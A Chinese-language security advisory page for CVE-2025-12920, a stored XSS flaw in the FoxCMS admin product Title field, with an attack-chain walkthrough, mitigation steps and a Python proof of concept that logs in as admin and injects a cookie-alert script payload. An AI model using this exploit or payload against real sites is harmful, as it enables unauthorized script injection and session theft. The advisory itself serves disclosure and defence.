IPBUF安全漏洞报告
English
CVE-2025-12920 CVSS 2.4 低危

CVE-2025-12920 qianfox FoxCMS跨站脚本漏洞

披露日期: 2025-11-09

漏洞信息

漏洞编号
CVE-2025-12920
漏洞类型
XSS
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
qianfox FoxCMS

相关标签

XSS跨站脚本qianfox FoxCMS存储型XSSCVE-2025-12920CMS漏洞后台管理

漏洞概述

CVE-2025-12920是qianfox FoxCMS 1.2.16及之前版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于后台管理系统的产品管理模块中,具体影响add/edit功能对Title参数的处理。由于应用程序在处理用户输入时未对Title字段进行充分的输入验证和输出编码,攻击者可以在产品标题中注入恶意JavaScript代码。当其他管理员或用户访问该产品信息时,恶意脚本将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或进一步的权限提升攻击。由于该漏洞需要高权限用户操作且需要用户交互,CVSS评分仅为2.4,属于低危漏洞。

技术细节

该漏洞为存储型XSS,攻击者通过后台管理界面的产品添加/编辑功能,在Title参数中注入恶意JavaScript代码。由于应用未对输入进行过滤或转义,该脚本会被永久存储在数据库中。当其他用户浏览相关页面时,恶意代码会在其浏览器中执行。攻击者可利用此漏洞窃取管理员会话cookie、进行钓鱼攻击或执行其他客户端攻击。漏洞存在于app/admin/controller/Product.php文件的add/edit函数中。攻击向量为网络形式,需要高权限认证,但利用难度较低。

攻击链分析

STEP 1
步骤1
攻击者获取FoxCMS后台管理账号的高权限访问权限
STEP 2
步骤2
攻击者登录后台管理系统,访问产品管理模块
STEP 3
步骤3
在产品添加/编辑页面的Title字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
提交表单后,恶意脚本被存储在数据库中,由于应用未进行输入验证和输出编码
STEP 5
步骤5
当其他管理员或用户访问产品列表或详情页面时,恶意脚本在其浏览器中执行
STEP 6
步骤6
攻击者可通过XSS窃取用户会话cookie、进行钓鱼攻击或进一步权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12920 XSS PoC for qianfox FoxCMS # Product Title XSS Injection # # This PoC demonstrates the stored XSS vulnerability in FoxCMS product management # Target: http://target-website.com/admin # Affected Version: FoxCMS <= 1.2.16 import requests import sys # Target configuration TARGET_URL = "http://target-website.com" ADMIN_PATH = "/admin/index.php/product/add" LOGIN_URL = f"{TARGET_URL}/admin/index.php/login" # Malicious XSS payload XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit_xss(): """ Exploit the XSS vulnerability by injecting malicious script in Product Title """ # Step 1: Login to admin panel session = requests.Session() login_data = { 'username': 'admin', 'password': 'admin123' } # Login request login_response = session.post(LOGIN_URL, data=login_data) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Successfully logged in") # Step 2: Create product with XSS payload in Title product_data = { 'Title': XSS_PAYLOAD, 'Description': 'Test Product', 'Price': '100' } add_product_url = f"{TARGET_URL}{ADMIN_PATH}" create_response = session.post(add_product_url, data=product_data) if create_response.status_code == 200: print("[+] XSS payload injected successfully in Product Title") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] The script will execute when anyone views the product list") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit_xss()

影响范围

qianfox FoxCMS <= 1.2.16

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1)限制后台管理功能的访问权限,确保只有可信用户能访问;2)在Web应用防火墙(WAF)中配置XSS防护规则,对Title参数进行过滤;3)禁用或限制产品管理模块的功能;4)监控后台管理日志,及时发现异常操作;5)使用HTTPOnly和Secure标志保护Cookie。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表